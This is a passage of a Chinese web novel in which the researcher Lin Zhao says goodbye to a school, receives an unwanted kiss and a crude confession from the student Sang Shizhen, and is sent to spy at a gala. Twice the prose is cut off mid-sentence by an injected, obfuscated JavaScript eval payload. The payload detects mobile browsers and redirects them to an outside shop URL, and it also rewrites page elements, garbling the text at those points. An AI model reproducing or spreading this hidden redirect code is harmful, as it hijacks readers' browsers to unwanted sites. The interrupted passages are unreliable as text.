“……每个人都是不同的,有着不同的目标和梦想。是这些梦想照亮我们前行的路。不要让压力、绩点、分班考磨灭了自己。马拉松刚开始,总不能冲出起点线就累倒吧。” “我很喜欢的一句话,‘没有了方向,到哪里都是逆风’。”演说没有持续太久,单荔给出一个利落的收尾,“大家——飞吧。” 静默数秒,掌声如雷。林昭跟着拍了很久的手,做了最后一个安静下来的人。 旗下讲话结束后,是面向家长的开放活动展示。因了最近一个月连环爆出的舆论丑闻,晟华家长对孩子在学校的生活状态无限担忧,到场参与活动的家长呈指数级爆发增长。 林昭跟着人流逛了逛。但他忘了自己已是学生间的新晋偶像,结果就是走到哪,被投喂到哪。 不多久,他两只手拿满学生会各部和各社团的宣传画报夏日纸扇荧光棒,牛仔裤口袋里也被塞满了琳琅满目的小周边小零食,仓皇而逃。 话剧社那堆动物脑袋再次堂堂登场,这回是在简易搭起的临时舞台上,演那一出林昭有幸近距离欣赏过偷跑版的《老鼠嫁女新编》。 电音唢呐颇为抓耳,不少家长驻足停步,认真观看。 林昭站在人堆外没挤进去,遥遥围观了一会儿。 舞台上老鼠女儿被父母亲手送上十二生肖餐盘里,事后追悔已莫及。林昭只愿台上台下壁垒分明,如有雷同,别再发生在现实里。 “哇噢!小林老师你在这儿啊!校办那儿有人找你……”好久不见的心理老师从人堆里冒出来,一把逮住林昭,顿时大吃一惊,“哎哎哎诶!?小林老师,你的气场颜色,怎么有点儿发青发蓝呢!!?这么Blue可不好,遇到什么过不去的,要老师我给你开解开解吗???” Blue。蓝色的,忧郁的。这双关语缺乏新意,听起来很无聊……林昭看了心理老师一眼,想她能这样敏锐地辨别色彩,可见心情出奇地好。 可他真的很蓝吗?他自己怎么不知道? “也许是……”林昭思忖两秒,找到一个原因,“因为今天过后,确实要和你们说再见了吧。” 心理老师大为感动。回想起林昭刚到晟华时,第一个慧眼识英的人就是她,这感动又被放大了百倍不止。抒发完感恩之情,她记起正事:“啊,我怎么给忘了!小林老师,你赶紧去校办吧,主任说有大人物找你!苟富贵——莫相忘——” 校办会客室。开放式沙发上,斜对着两个中年女人。 一个四十多近五十,知识分子模样,短发梳简练三七分,素面朝天,着月白色新中式上衫,配黑色长裤和软底单口皮鞋。另一个通身珠光宝气,腰肢细软,香槟色套裙熠熠发光,眉眼指尖无一处不艳丽,乍看只是一位正当花期的美女,唯有尖而小的颌骨下几道颈纹若隐若现,出卖了她真正的年龄。 “林老师!”林昭推进门里,喜出望外,“您回来了……” 林昭本想问林君成为什么比原定时间推迟了一周多才回,但他留意到会客室中另有一位客人,于是转向她,温和问好:“岑女士,您好。” 漂亮女人叫岑罗,顾大使的第二任夫人,顾昐的母亲。隐退银幕洗手做羹汤前,她是一位既无名气、也没留下什么作品的电影演员。 听到林昭以“岑女士”而非“顾夫人”称呼她,她眨了眨眼,脸上露出种不符合年龄的、天真而稚拙的可爱神气。按着沙发,她袅袅娜娜起身,一双大眼中盈盈闪烁星光,上前勾着林昭脖子,给了他一个热烈的拥抱。 林昭:呃啊啊啊啊啊!!!?啊啊啊!?? 他向林君成投去“救命啊救命啊”的眼神,林君成却只是捧着茶看着他笑,笑得眼都快没了。 “你这孩子,怎么那么可爱呀。”岑罗眉开眼笑放开林昭,又啪地双手捧住他脸,“好孩子,好孩子。谢谢你救了小昐……我这个做母亲的,做得太差劲,太糟糕了。要不是有你们,我都不知道小昐一个人,被好多人欺负,受了那么多委屈……” 说着说着到伤心处,岑罗动情,竟然就要哭了。林昭呆然,麻木给她递纸巾,一边拼了命给林君成递眼色。 什么情况!?到底要怎么做!!! 这题不会啊!考点到底在哪啊!!! 林君成袖手旁观,只顾着欣赏林昭窘迫无措的模样,整个人乐得不行。岑罗哭差不多了,她起来,三言两语劝人坐了,对林昭道:“你给我介绍的那个小朋友,我看过他的项目,也联系过,问过人了。” 林昭眼前一亮。林君成道:“信息院有几个教授,对这小孩很感兴趣,愿意给机会,见面聊一聊。但有前提条件,他得先通过科大的自主选拔考试。考试能过,又有教授愿意收他,他就可以走科大的特别招生通道。拿不到高中毕业证没关系,也能继续就学。” 林昭点点头,欣然道:“他能过的。” “太平港医院最近在推的合作项目,”林君成转到下一件事,“新药临床实验,需要一批阿兹海默病人,桑家奶奶的病情和身体条件,检查下来初步符合要求。家属知情同意签字,由你转达,还是院方出面?……”她做了个询问的手势。 “院方出面就可以了。”林昭道,“找个理由……抽奖或者疗养院介绍,什么都行。总之,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一栋楼?那太小气了吧!”岑罗剥着指甲笑,“少说一个园区起步!不急的,你们慢慢看。相中哪一个直接和我说,要是合适,四个都谈下来也可以。” 她扭脸,满面光辉地对林君成道:“我这里呢还认识一些做企业的朋友,他们可能会愿意牵头攒局,给705投资的。林所,你说的那个……那个什么……对、啊撞、什么……装置?说不定呢,咱们也能找到法子解决……” 一夜脱贫暴富的冲击力太强,直到校门口和晟华师生道别,林昭的脑子都还懵懵的。 “都来合影,合影啊!”单荔积极调度,将一群人梳理成花朵似的一团,又掏出个长到像晾衣杆的自拍杆,架上手机,往外一递,“因为要说再见,所以都给我笑——!” 咔嚓,定格。 “老桑……”顾昐注意到少了个人,探头探脑找了会儿未果,“人呢?我喊他过来?” 气氛一霎静滞。除了林昭,这里还没人知道科大开放特别招生通道的事。单荔小声道:“那个就……” “要不就,算了吧。”她垂下了眼。 草草按了几张照片几段视频,林昭返身,做最后的道别。 和他想的一样,桑士桢没有来。 发生这么些事难免触景伤情,的确是不来的更好。 心理老师挥手,和林昭说了再见,突然喃喃道:“怪了怪了,刚才还好好的……小林老师,你怎么突然又Blue了???” “还是说我看走眼……”今天毕竟不是个开心的日子,她怀疑地揉了揉自己的眼睛。 林昭转眸,目光投往车水马龙道路的另一边。 林君成开过来一辆白色甲壳虫,载林昭回研究所。 “在想什么?”途中,她拿余光瞥了瞥林昭。从上车起,这小子就一言不发,托着腮看窗外,都哑半天了。 林昭动了动在狭小前座空间夹得不太舒服的腿,换了个姿势,道:“在想……” “……经典力学,第三定律。”他有点不好意思。 林君成噗嗤一声笑:“舍不得啦。” 作用力和反作用力同时存在,共同消亡。给出信任的人收获了信任,伤害了别人的人,但凡他还是个人……说不定也会受到抵消用力的同质作用。 林昭轻应了声。 古铜色的老校门在他们身后缓缓关断,将时间斩成葱茏与灰绿的两截。 45.再见是 盛夏。 鱼珠巷的鱼从烤鱼变咸鱼又变成一尾死鱼,热锅冷油一泼,冲空气开口的油边滋滋冒白汽,温凉的锅底却粘手,湿滑黏腻不堪。 林昭拿手背挡着眼睛,给自己翻了个面。一动,额角上成片的汗水滑落,沿顺着眉骨蜿蜒往下,毫不留情洗刷过云影似的羽睫。 辛辣痛觉扎刺过眼球,林昭吸了吸鼻子,不情不愿地醒了。 室内静得反常。没有小猫咕噜噜的轻柔呼吸,听不到空调室外机隆隆作响。连常年不关的电冰箱和电脑,都把吵个不停的嘴拉上了。 显而易见,在这四十度高温三伏天…… 停、电、了。 林昭抹掉眼角为冲刷汗水生成的天然泪液,脑袋一歪,将蒸烫脸颊紧贴在尚存几分凉意的地板上,闭目保持不动。 看着很像是陈尸三日,撒手人寰。 然而,他确实只是在睡觉而已。 断片前的记忆,依稀还停留昨晚后半夜,黑灯瞎火摸回的房间。 再根据落点方位和睡姿方向,林昭轻松判断出,自己当时是一跨过玄关,就呈一个大字型趴下,就地晕倒睡着了。 自一纸合同签下,新研究所破土动工后,林昭很快迎来了时不时在地板上横七竖八醒来的战时生活。 一屋不扫何以扫天下,获赠园区后,705绝地翻身工程火热进行。工程图监修、风水堪舆、手续申请、实验室内装、设备采买还有讨价还价和供应商维权等等,活儿多到好像能给他们四个人平摊了再传家三代。 白天跑完工地,偶尔晚上林昭还要扮演林君成的腿部挂件,陪同她一道去和大佬吃席…… 每天流程都差不多。回家,晕倒。早上六七点左右被隔壁吵醒一次,冲个澡。回到床上睡两个小时,再起,出门。 睡个觉还分上下半场,林昭觉得,这主要怪隔壁邻居生活作息太过规律。 其次才怪他自己睡得浅,定力还差,每天每天,都抵不住清晨六七点门缝间飘进来的馒头花卷煎饼面包香氛诱惑。 抛却个人感情客观来讲,贺迟属于那种非常体贴、也非常体面的邻居。 他不挑剔,不刁钻,对猫毛不过敏。严格遵循健康生活法则,六点动手将早餐架上炉灶出门晨跑,七点轻声闭门上班,晚十点雷打不动披挂粉色围裙和袖套站在露天厨房前,手起刀落,准备明天带去医院的午餐。 月余以来,他还登门拜访过林昭两次,询问飞碟是否需要更多不同食谱推荐,他愿意顺手帮忙。 更难得的是,这位新邻居严于律己,准确准时到像人类文明史上最初的计时器日晷成精,却从不质疑林昭颠三倒四的作息。 隔壁上一任的老太太,对林昭不符合人体自然节律的生活方式很是介怀。每每两人不幸打了照面,林昭必定要被她逮住狠狠说教一顿。 即便林昭给门窗全贴了消音减震,行动处处小心,老太太也坚称,林昭清醒时脑电波过度活跃,嗡嗡地吵到她寝食不安。 ……这,好吧。九十六的老人家说什么都对,林昭没什么想说的。 所以他对现在的生活,还算满意。 即使睡不了一个整觉,但新来的邻居既能包容接受他凌晨上楼开关门砰咚咚晕倒在地,他当然也不介意对方浑身疑点,还活得像个均匀作响的原子钟。 还好,今天放假了。 虽然停电,虽然猫跑了……但总归是放假呀。 虽然。猫、跑、了—— 负隅顽抗十几分钟后,林昭从地板上直挺挺坐起来,盲目喊了两声飞碟。 未收到回应,他跌撞进了淋浴间。 先变回人形给头装个脑子再说。 被他拆了扔在一旁的智能腕表突然自己说话:“噢,林。我注意到你的心跳不太规则……最近你的睡眠状态不太理想。要留意窦性心率不齐的可能。” 林昭啪地按下花洒,一道夏日温泉瀑布飞流而下:“闭嘴。” 挤了点洗发水搓开往脑袋上揉时,林昭透过一堆肥皂泡膨胀的幻觉,捕捉到远方某处几声熟悉的猫叫。 鱼珠巷是老小区,街巷监控缺斤少两死角众多。机不可失猫不再来,虽对飞碟的自控能力很有信任,但一只能飞的猫自个儿在外闲庭信步太久,影响终究不好。 林昭三倍速加快动作。 冲掉泡沫涮了两遍水,林昭关了龙头,扯下块大浴巾胡乱擦干……擦不干自己。 天太热,冷水龙头流淌的也是热水。洗完澡整个人像过了蒸笼,浴巾绒面吸收掉皮肤表面的水痕,下一刻汗水就混着发尾深处淌落的水珠一路往下滚,擦来擦去擦不干,到处都湿哒哒的,绝望。 凑合凑合得了。林昭自暴自弃扔了浴巾,半分钟穿好往门外走。 白T恤和浅蓝色水洗直筒牛仔裤和人字拖,荣辱不惊、平心静气的夏日基础款皮肤,林昭衣柜里有一模一样七套。一键即走方便快捷,梅雨季也来得及换洗,固定你的人设形象,如此高效快捷的生活方式,推荐给所有人! ……虽说没人稀罕,根本推销不出去就是了。 门边,闭路监控因断电关了屏。百密一疏,林昭想着回头再来加个切换电池模式的功能,刷一下推开门。 “嗨。” 桑士桢倚在夏花点点绿萝丛生的廊边,动作松弛,闲闲抡起胳膊,对林昭挥了下手。 林昭:“……”猫呢? 怎么是个人??? “不好意思,走错门了。”一定是开门的姿势有哪里出了错。林昭砰一声重重关门,定了两秒,又把门推出。 门外风景一点没变。桑士桢还在,好整以暇端量着他。 他的头发较六月长了些,大概因为天热,插了个不显眼的钢丝发箍在头顶,半边刘海大剌剌地耷拉垂落。 地狱死亡发型搁他这儿,倒显得人眉目深邃,骨相更为凌厉。褪去几分学生青涩气息,比往日印象里更潇洒落拓。 就是不知道,这发箍是和哪个小姑娘借的。 意料之外的会面。林昭卡了一下,脱口而出:“好久没见。” 桑士桢目光微闪,眨了眨眼,迟迟开口:“……是噢。” 他转开视线,笑:“听你说的,我差点儿要以为我们一个世纪没见了。” 实际也就两个多月而已。 两个月零四天,他默默想。 “你是……”无事不登三宝殿,林昭本想问桑士桢来做什么。视线往下,看到他脚边搁着的一只融满了水汽、宣传纸湿漉漉的白色泡沫箱,林昭猜到大概是科大发了福利,林君成托他午休时给送过来,便改口道:“你在这等多久了?怎么不敲门。” 平时闭路监控都能看到家门口人员往来,但不巧今天偏偏停电。看桑士桢这要和门口绿植融为一体的架势,林昭怀疑自己不出门,他是不是能在这儿等到泡沫箱里的冰袋全融化。 “要不要进来坐。”林昭将门推得更开了点,但看到桑士桢被汗水微湿打透的涤纶料子衬衣,他又犯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931198|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难,“不过屋里好像比外面还热……还没什么地方。要不,我给你拿瓶冰水吧。” 桑士桢没来得及说要或不要,他已做了决定,返身几步拉开冰箱将人落在了门口。 老实说,林昭不太清楚该怎么应对眼前的状况。他和桑士桢没熟到那个份上,有一大群人在什么都好说,单只剩下两个人时,他立刻不知聊什么好。 事隔月余的上一次道别,也谈不上愉快;填满两人间空白的空气都是生分的。但这段空白又浸润着不明不白的温度,让人没办法就这样割舍。 桑士桢无声动了动睫。他的视线掠过冰箱半开的门扇,不着痕迹划过林昭湿漉漉漆黑发尾贴着的一段雪色后颈。往下,再往下。 崭新换上的白T恤被水痕打湿数块,贴在瘦窄腰身,若隐若现勾勒出清隽优美的纤长线条。不知道是过敏反应还是用力擦拭过,青年脖颈臂弯处透白皮肤泛着红痕。青柠混香根草的味儿新鲜出炉,扑面而来,瓦解他的呼吸。 桑士桢勉力定了定神,想,来之前他的确是做过了万全的心理建设没错。 但他原本是准备要被林昭拒之门外的。 在门板上磕一鼻子灰那种。 谁能想到要经受的是美色考验啊!? 居然还敢问他为什么不敲门。 那水声哗啦啦的,听到就知道是在洗澡。 别人洗澡他敲门?他又不是变态! 这还真的是,心里一点数没有…… 林昭出来,递给桑士桢一瓶冰透了的电解质水。 趁着开关冰箱的时间,他调整好自己,切换到普通问询模式:“考试,都过了?” 这纯属明知故问,没话找话。其实桑士桢的喜报一出来,科大那边最先通知的就是林君成和他。 桑士桢抛了抛手里的冰瓶子,神思游移:“嗯。” 林昭垂眸:“时间还挺紧张的。备考这段时间应该很辛苦吧,嗯……你还挺厉害的。” 岂止是紧张,简直是生死时速。科大的自主招生安排进程,林昭这边都很清楚。即便从六月初开始算,桑士桢满打满算,也只得一个半月来准备这场顶尖难度的入学考试。 他基础不弱,但高二以后就没好好念过书。一个半月突击上场,备考期的强度,可想而知。 桑士桢不想听这个。他滚了滚喉结,小声抱怨:“蝉都热死了。” 林昭:“?” “……那么久不见,”许是天太热让人昏头,桑士桢往前逼了一步,“你就只夸些和大家一样的?” 他比林昭稍微高上那么一星半点儿,这会儿却没低头,仍是扬着下颌,只将眉眼轻垂,眸色微深,盯住了面前的人,“你就,没什么特别想跟我说的吗?” 林昭从善如流:“那就不夸了。” 他想起些该嘱咐对方的,正色道:“你聊下来那个教授,人工智能方面很强。他手下现在带三个组。第一个组主做学习算法,第二个做深度网络,第三个偏商业应用向,和外面企业合作很多。你刚进去的话,不急着定方向,可以在每个组都轮一圈试试看……” 沐浴露和水汽的清香浮动着,似是遭了催眠一般,耳边的声音渐行远去。林昭后来说了什么,桑士桢硬是一个字都没听清。 他怔怔望着林昭。他的眼神认真,眼睛因了这份专注神情,显得尤外得黑。嘴唇一张一合,泛着红,娇嫩得像叶冠顶端迎风微颤的扶桑花。 脑子一白,他低头,封住了那两片薄而软的唇。 46.不可能再见的 年轻男生轻翘的唇锋上,残留着一道纵向割过的发白刀痕。痕迹清淡,愈后的结缔组织轻微起伏。 鲜明质感漫无目的贴着林昭,轻擦了擦他的唇,撩拨过某种微妙的痒意。 林昭瞪圆了眼。 下一秒,唇分。 不小心做成了变态的男生讪住,正不知该说点什么好,脑袋一歪,已被猫爪子从后往前愤怒拍了一掌。 “咪呀!!!——” 桑士桢呲牙咧嘴,嗷了声。身后,飞碟身姿轻盈,似一道黑色闪电汹汹蹿上,连声喵喵喵,张牙舞爪,不容抗拒地盘踞在林昭身前。 桑士桢这回全醒了。赤红色的潮水不可遏止疯涌而上侵吞了他,胸口,脖颈,耳根,至指尖,无一处可被放过。 林昭别开视线,礼貌而又不失尴尬地抬手摸了摸鼻子。他的颊骨上方不知何时也染上了一层薄红,额角因了暑热或是不安,涔涔渗出大颗大颗晶莹的汗珠。 桑士桢吸了口气,视线恍惚,不觉又被人牵着走。 太热了,他紧紧握住手里的冰瓶子。 热得他缺氧,几乎透不过气。 林昭动了动唇,呼吸:“……你走吧。” “没事的话,”花粉过敏似的,林昭局促抽了抽鼻子;他的话说得又急又快,好像是不知该把嘴放到哪里去,所以只能不歇气地讲话,“就快点回学校去。拿来的是冷饮吧,还是冰棍?这种容易化的下次不要拿了。你和林老师说一声,就放在所里,或者拿回你们实验室自己分了。天热,东西也重,拿过来太辛、艹……” 声音戛然而止。 第二次。 男生粗粝指腹轻抚过他唇角:“你……紧张?” 林昭一惊,身体反应先行,抬手给了桑士桢一记响亮耳光。 啪——!猫都愣住。桑士桢给他甩得往后退出半步,捧着长出五个红指印的脸瞎嚷嚷:“你打我!!!” 那你还亲我呢!?有理吗?林昭脸一阵红一阵白,气息不怎么稳:“你变态!” 文化人遇到不良少年,扇人嘴人撕破脸也不过猫爪轻挠,不堪一提。 “我哪变态了!!!”积蓄太久的潮水决堤而出,桑士桢委屈莫名,当时便犯了病,梗着脖子吼回去,“不就亲你一下吗!亲你怎么了,吃谁家大米,犯哪家天条?亲一口能少块肉还是怎么的,你不喜欢,就当我是条狗,被狗咬一口怎么你了!最多打个针吗,有必要这么生气嘛!!!” 听听,听听,这说的还是人话吗…… 林昭上气不接下气,眼前一黑又一黑,满天满眼金星乱冒。 楼上,小女孩开着窗娓娓背书:“……今日割五城,明日割十城,然后得一夕安寝……” “然则诸侯之地有限,暴秦之欲无厌……” ……以地事秦,犹抱薪救火,薪不尽,火不灭。宋,苏洵,《六国论》。林昭在心里默默补完名篇名言。 此言得之。古人云得对。 只是怎么,现在小学生就得学高中文言文啊!? 太卷了吧! “我不是变态,也不是耍流氓。林昭,我喜欢你,我他妈的喜欢你。喜欢你所以想亲你。亲你算什么,我还想□□你呢,想□□得你下不去床。” “当然了,你要想□□我,我也奉陪。不如说是求之不得吧……反正我是忍不下去了。我就有这么喜欢你,建议你,及早做好准备吧。” 亲也亲了,打也打过了。再不会有更烂的展开,桑士桢同自己和解,坦坦荡荡朗诵他大逆不道的限制级告白。 林昭不红了,他变得铅铁一样苍白。一言不合,上手又是一记结结实实的耳光。 挑了没打过的那半边,手劲比刚才用得更重。桑士桢呲口冷气,舔掉唇角牙尖磕出的一丝血迹,笑:“挺好。” 这操作是邪门了点。 但,林昭终于看到他,把他放在眼里了。 林昭反手拎起墙边堆着的两张折叠椅,摔出一张,又摔一张:“还不滚!?” 铝合金椅腿和胫骨咯咯撞在一处。桑士桢吃痛,装模作样嚎了一声。接着丢过来的是张搪瓷面折叠桌,桑士桢一闪,劈手钳住桌腿,语气霎时讨好:“喂喂,也不用那么生气吧……” 要的就是他腾不出手。林昭剜他一眼,趁乱凑前,双手抱起地上大汗淋漓的冷饮箱。 早知道就别拿什么喝的了,一瓶水都不该留给他。 飞碟伶俐顺着林昭的胳膊攀援而上,尾巴高翘毛发倒竖,浑身戒备死盯着满身狼狈的桑士桢。 一人一猫翻身而去。 砰一声,门被决绝关上。 “我……我是说真的!!!”少年燎烧起泡的声线不屈不挠烧穿过门板,“林昭!我喜欢你!我,我——我他妈的……我爱你!!!我要追你!信不信,我一定能追到你——” 什么爱不爱的,轻易能出口,都属廉价快消品。木板门却属易燃物,导热一流,烫红林昭的耳朵根。 左邻右舍门窗砰砰开合作响,人人都热得不行,人人都急于探头出来看更大的热闹。决定这次无论如何,都得蓄力给对方一个干净,林昭深呼吸,转身一下拉开门。 挡在门前的人却成了贺迟。 “需要帮忙吗?”他背身对他,语气克制,彬彬有礼,“看起来,你遇到一些麻烦。” 倒也不算麻烦……林昭皱眉,含糊道:“没那么严重。就是有些误会……”南辕北辙的误会。 他打量贺迟。他穿的便装衬衫和亚麻西裤,头发松散垂着,看上去勉强算是居家打扮。 怎么的,今天他也不上班? 林昭飞速倒回时间线,想起今晨的确是没被出门响动和早餐佳肴吵醒,跳过既定中场休息,一口气睡到了日上三竿。 脑中瞬间警铃大作。 贺迟在家,那不就意味着…… 他什么都听到了吗。 该听的不该听的,全年龄的限制级的。 这叫他怎么做人啊。 桑士桢在将桌椅板凳归位。他来时收拾得清爽干净,这会儿白衫上擦脏得一条一条,嘴角微破,脸上还留了数道红印,真个儿算得上狼狈不堪。 他瞥了眼一身便装挽着衬衣袖口,却没有分毫汗水,仍然精致体面的贺迟,很聪明地领悟到什么。 不对付的超管局科长,一个。放不下身段的大明星,两个。近水楼台的死人脸邻居,三个。 算上他第四个,恰好凑一张牌桌。 竞争激烈,但桑士桢挽起唇角,竟然还觉得挺高兴。 只要计较得失,就会得不偿失。有人权衡利弊,有人舍不掉姿态好看,有人驻足在安全区摆弄筹码,想博个后发而先至,他偏要反着来。 两个月零四天,他在家、科大自习室和疗养院三点一线间来来回回跑,想清楚厉害,结论是可以ALL-IN。 说过送出自己,哪里有吃痛挨打就收回来的道理。 “没有误会。不会打扰你。会让你也喜欢我的。”放下最后一张折叠椅,桑士桢拧开手里的冰饮料,无视贺迟,仰起脖子猛灌两口,宣誓道,“走着瞧。” 他转身下楼梯。林昭走出到廊边,绿枝红花目下摇曳,都失色未能入他眼底。白色身影如约出了单元门,不回头地往外走。 忽然,一只陶土花盆翻越过走廊边铁丝围栏,直直砸下。桑士桢擦肩一让,陶盆撞地碎成八瓣,尘土飞溅;扶桑花枝鲜烈如血,替他上演脑袋开花。 林昭蓦然扭回头。一蓬蓬圆润的绿萝茂叶上方,贺迟慢条斯理收回手。 “不小心碰掉了。”他若无其事,“还好,人没事。” 林昭:“……” 根本不是没事吧!!! 这完全就是蓄意谋杀……未遂。 楼下,不知哪一户正义之士咆哮起来:“吵吵吵吵!准备吵到什么时候去啦!!!” 窗门砰然拉开:“哪家往楼下丢东西!?高空坠物,很危险的晓得伐,要出人命的知道伐!!!没有素质!!!” 接着便是一串带着本地乡音的 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“我们现在是有钱了。”半晌,林君成轻声提醒这个发疯发得有点上头的得意门生,“但都像你这样花,我怕下个月就要脱富返贫。” “那……”林昭斟酌半秒,抽走桌上几张表格,仅留下高压电的,“这样可以吧。” 现在不止是鼻梁,林君成的眉心也绞出了两道深痕。 “新园区,下个月竣工。”她用的不是商量口吻,“移动卫星岛,整岛加装信号屏蔽系统和光学迷彩伪装,配红外追踪瞄准系统,比你家……啊不,你租的房子。鱼珠巷23号3单元302——???” 她报出门牌号以后还笑了一声,笑得知冷知热,不阴不阳。 “安全吧。” “便宜吧?” “通勤时间更短?” “休眠时间更长?” “嗯哼?” 林昭:谢邀。 “我选鱼珠巷。”他有礼有节,拿回桌上的申请表。 “站住。”林君成没好气喊他,“回来。” 林昭依言站定。 林君成拉开抽屉,取出一封邀请函,双指一划推至他面前:“帮我去这个。” 林昭卷起申请表往口袋里一插,拣起邀请函打开:“顾公馆?”署名人是岑罗,看来是他们的致富引路人·最美金主·笨蛋妖女·沙龙王后·顾昐之母又降临宣示她的权柄了。 “什么顾公馆啊,不懂事。”林君成环视四周,偷感很重地压低声音:“……是,取之不尽用之不竭的,古代金矿。” 林昭扶额:“……” 所长,老师,我那没有血缘关系不是母亲更胜母亲的妈。 咱做个人吧,别这样。 “出于安全和保密考虑,”林君成恢复到原声量,“你和你的研究项目本来都该被判终身监禁,连这套三室一厅都不能够走出去。允许你在外租房,已经是组织上和我考虑了你的实际情况,特别通融的结果。” “再说了,你不是想接触衍华基金会?” 林昭微怔。林君成往前倾身,叉着手道:“我去的话,目标就太大了。你和顾家崽子关系不错,跑一趟恰到好处。” “传闻衍华基金会牵头,资助了A国新启动的一项军工研究计划。顾公馆这场对外交流晚宴来的人不少,你去捞捞消息,看看他们都在搞些什么花头。”她毫无责任感地甩出一个大场面设定,“当然,捞不到没事。主要打听你那小福利院就行。” “——恒星福利院。虽说衍华基金会是它背后资方……但是我领走你,我可以保证它资质完全,手续合规合法,也不存在电影里用烂了的打药打针虐待儿童基因改造行为。一年后福利院拆毁,是经营不善和海上浮岛改造工程共同作用的结果。我们是法制社会,没有阴谋论生存空间。” “但既然你不信任自己的记忆……”林君成往后靠,摊开双手耸了耸肩,“那就去掘地三尺吧。” “好运。” 47.谈恋爱嘛又不会 「衍华基金会,东国民间第一家民间公募基金会。创始人为数名不同的海外侨胞,资助、建设了包括晟华在内的多家教育机构。」 「恒星福利院亦是其名下产业之一。衍华基金会创立之初,以儿童福利院及老年疗养院为主要投产项目,但推测因维系难度过大、政策变动频繁之故,后不再投资类似项目。」 林昭:「桑士桢。」 「“丰饶”计划:自三年前射线爆发后,中外网路均有多种说法,声称五角大楼正在秘密推进一项特种战士培育计划,该传言始终未能被证伪或证实。每至双边关系紧张,该谣言就会卷土重来。以下消息已做过筛选,剔除掉危言耸听,头脑发热,白日做梦,时而过度膨胀、时而错误萎缩的自信心以后,留下的信息,应具备一定的参考价值……」 林昭:「桑!士!桢!!!」 桑士桢:「(/≧▽≦/)在哦」 桑士桢:「请问您需要什么帮助?」 林昭:「你黑我设备。」是陈述句。 还装AI,还装的一点不像。 桑士桢:「那你不如」 桑士桢:「趁此良辰吉日,换台新的?」 毫无悔改之心。 林昭:「互联网并非法外之地。」 桑士桢:「π_π」 桑士桢:「就说有没有能帮得上你吧!」 帮是……帮上了的。 林昭在人行横道中间,顿住脚步:「别管这些事。你要好好学习,天天向」…… 啊,温科长来消息了。 没打完,不打了。就这样,发送。 温准:「缴获到一批致幻类药物。新款的,没记录,也没见过。」 温准:「给你们送了两支,今晚能出结果?」 林昭:“……” 张嘴就是免费外包。 还是下单就要,拖一天就要指责为什么那么慢的那种可憎甲方。 相形之下,还是桑学弟更为眉清目秀。 行道灯上,绿色小人挥手摆腿,越跑越快。林昭缓缓从手机上抬眼,忽然警觉。 不是,他在想什么? 为什么他要二选一? 在选什么? 收起手机,林昭追着最后时限跑到街对面。 桑士桢:「是的,天天向你」 桑士桢:「你关心我,又不好意思直说」 桑士桢:「我懂」 人行道凭空冲出辆机动车的概率还是很低的。林昭停下脚步,慢慢踱至墙边,盯着手机呆了会儿。 他怀疑桑士桢出了点那个什么问题。 那天挨完打,放完狠话,他好像那个醍醐生花,完成了究极超进化。 变得金钟铁布,刀枪不入了。 林昭:「看看脑子。」 发出,他动作流畅一气呵成,把人屏蔽了。 讨人嫌的甲方就又显得端方可靠了。至少是个一举一动都符合社会常识的正常人类…… 林昭:「你们自己的检验科和合作医院呢。」 还是陈述句。 温准:「平行竞争。」 温准:「竞争上岗。」 温准:「综合取胜。」 综合是指根据时效性和检测品质综合判定绩效,再根据绩效决定发放多少酬劳。换言之,比稿。再换言之,多家赛马,优胜劣汰。 林昭:“……” 太过符合,符合过头了。 就你们机关单位那挑三拣四层层转包的作风。 不都是敢怒不敢言。真有人稀罕竞争那个上岗!? 林昭:「撤回吧你。」 林昭:「老规矩,先报价再报时。否则,免谈。」 手机都收起来了,他突然想起什么,又将投屏拎出来,忿忿划空气:「换了邮箱,以后用这个新的。」 目前来看,桑士桢是把他不设防的手机和对外邮箱都给攻破了。但同样不设防的智能腕表倒是安全无虞。 奇怪,难道真是外国生产的防火墙包得比较圆整? 想想又觉得合理,毕竟这块表固执得要命。 林昭说话,表都不听。换个声线这种小需求,它都不乐意履行。 夜,顾公馆。 馆内馆外冰火两重天,露天的鸢尾草花园里悬吊着数台静音风扇,一刻不停喷洒降温喷雾,维持恒温二十五度的宜人环境。 低温封锁线边缘,顾昐穿着剪裁精良的手工定制西服三件套,呈现出饱满的两头尖中间圆,像个锤满了棉花的纺锤娃娃,被岑罗打发出来当工具人迎接林昭。 “林老师,这边走。”两个多月不见,人难免生分。顾昐时不时拿余光复习一眼,很快就注意到林昭脸上冻着一层霜,走路时带的风声都比平时大,似乎比他印象里暴躁许多,“老师今天……心情不好?” 林昭突然停下,抬头看顶门上一台吹冷气的大吊扇。 就那个眼神,好像要把吊扇的头拧下来。顾昐哆嗦一下:“没、没事,我就随便问问……” “……噢。”林昭倒不是生气。他卡顿了,两秒才转回视线,“好像是有点……”他又看了看吊扇,不大确定地道:“难道是,仇富?” 顾昐模仿着名画《呐喊》,在内心盘旋尖叫。 地主儿子还在这呢!就直接说啊!! 好强的攻击性!!!脾气好差!! 以前不都是……没有表情那样的??? 无差别开火,没见过啊! “……是有点烦心的事。”旁观者清,林昭自省,认识到最近加班强度太大,睡得不足,令到他心态扭曲变形。他道歉:“我不是那个意思。有没有钱也不是你自己能决定的,你也不想那么有钱的吧,抱歉。” 顾昐:“。”阴阳怪气可能是一种纾解压力的方式。 下次他也试试。 腕间表盘指针摇摇荡荡,鸢尾茉莉铃兰白花香气缥缈浮动。几转几落,公馆主楼分花拂柳,拨开袅袅纱幔,现出明光煌煌,珠玉雕刻的真容。 两人下意识地停步,林昭反应得更快一点。 他眨眨眼,对上一双雾气氤氲、绿宝石的眼眸。 